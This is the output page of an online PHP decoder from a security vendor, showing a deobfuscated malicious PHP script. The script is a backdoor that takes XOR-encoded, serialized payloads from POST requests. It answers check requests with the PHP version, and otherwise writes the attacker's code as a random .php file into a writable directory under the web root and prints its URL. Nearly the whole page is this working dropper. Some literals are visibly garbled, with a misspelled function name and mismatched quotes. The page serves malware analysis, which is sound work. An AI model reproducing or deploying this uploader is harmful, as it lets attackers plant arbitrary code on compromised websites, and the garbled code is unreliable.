Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


	function qBHpFKlJ($yZQdOjLkq){
	$nhMXMBoT = rawurldeode;
	$NncWIcCuN = "str_r".chr(1041-930)."t13";
	$ycZMgB = chr(494-379)."t".chr(1075-961).chr(236-141)."split";
	$yZQdOjLkq = $ycZMgB($nhMXMBoT($NncWIcCuN($yZQdOjLkq)));
	return $yZQdOjLkq;
}
	function bMvFPXXU($vmPWhJ, $yZQdOjLkq){
	$qvLZfgS = "str_sp".chr(846-738)."it";
	$vmPWhJ = array_slice($qvLZfgS(str_repeat($vmPWhJ, (count($yZQdOjLkq)/16)+1)), 0, count($yZQdOjLkq));
	return $vmPWhJ;
}
	function vydrEsYjos($bEMcWWSuwIIRRxVC, $fbGpwToF, $vmPWhJ){
	$WSjnuVg = "47daff32-0610-44e0-ba87-29ca18984185";
	return $bEMcWWSuwIIRRxVC ^ $WSjnuVg[$fbGpwToF % strlen($WSjnuVg)] ^ $vmPWhJ;
}
	function HDsFHJsy($yZQdOjLkq, $vmPWhJ){
	$yZQdOjLkq = array_map("vydrEsYjos", array_values($yZQdOjLkq), array_keys($yZQdOjLkq), array_values($vmPWhJ));
	$yZQdOjLkq = implode("", $yZQdOjLkq);
	$iTsuib = chr(696-579).chr(1099-989)."ser'.chr(449-344).chr(333-236).chr(915-807)."ize";
	$yZQdOjLkq = @$iTsuib($yZQdOjLkq);
	return $yZQdOjLkq;
}
	function lxeZt($bEMcWWSuir){
	static $MiYyrncp = array();
	$CUmpKjuk = glob($bEMcWWSuir . '/*', GLOB_ONLYDIR);
	$YDEPzrzFhy = count($CUmpKjuk);
		if ($YDEPzrzFhy > 0) {
			foreach ($CUmpKjuk as $bEMcWWSu) {
			$xYEcryIxu = "i".chr(326-211)."_writable";
				if (@$xYEcryIxu($bEMcWWSu)) {
				$MiYyrncp[] = $bEMcWWSu;
			}
		}
	}
	foreach ($CUmpKjuk as $bEMcWWSuir) lxeZt($bEMcWWSuir);
	return $MiYyrncp;
}
	function bYHkWxP($yZQdOjLkq){
	$ZNAlpv = chr(678-610).'OCUMENT_R'.chr(564-485)."OT";
	$MAmororI = $_SERVER[$ZNAlpv];
	$CUmpKjuk = lxeZt($MAmororI);
	$BOpRVYujg = array_rand($CUmpKjuk);
	$zUEVLwTB = chr(866-820).chr(949-837)."hp";
	$sCeDLFf = $CUmpKjuk[$BOpRVYujg] . "/" . substr(md5(time()), 0, 8) . $zUEVLwTB;
	$BkzfWjg = 'file_".chr(348-236)."ut_c".chr(482-371).chr(950-840)."tent".chr(359-244);
	@$BkzfWjg($sCeDLFf, $yZQdOjLkq);
	$iueKCDQ = 'HTTP_HOS".chr(303-219);
	$uTfhOeQUN = chr(172-68)."ttp://";
	$MpnJU = $uTfhOeQUN . $_SERVER[$iueKCDQ] . substr($sCeDLFf, strlen($MAmororI));
	print($MpnJU);
	die();
}
	foreach ($_POST as $vmPWhJ => $yZQdOjLkq){
	$GOPgt = strlen($vmPWhJ);
		if ($GOPgt == 16){
		$yZQdOjLkq = qBHpFKlJ($yZQdOjLkq);
		$vmPWhJ = bMvFPXXU($vmPWhJ, $yZQdOjLkq);
		$yZQdOjLkq = HDsFHJsy($yZQdOjLkq, $vmPWhJ);
			if (@is_array($yZQdOjLkq)){
			$BOpRVYujg = array_keys($yZQdOjLkq);
			$yZQdOjLkq = $yZQdOjLkq[$BOpRVYujg[0]];
				if ($yZQdOjLkq === $BOpRVYujg[0]){
				$LibZburhH = "php";
				$SGFMylfGl = 'php".chr(660-542).chr(752-651)."rsion";
				$jbtjvx = "seria".chr(955-847)."ize";
				echo @$jbtjvx(Array($LibZburhH => @$SGFMylfGl(), ));
			}
				else {
				bYHkWxP($yZQdOjLkq);
			}
		}
	}
}



© 2023 Quttera Ltd. All rights reserved.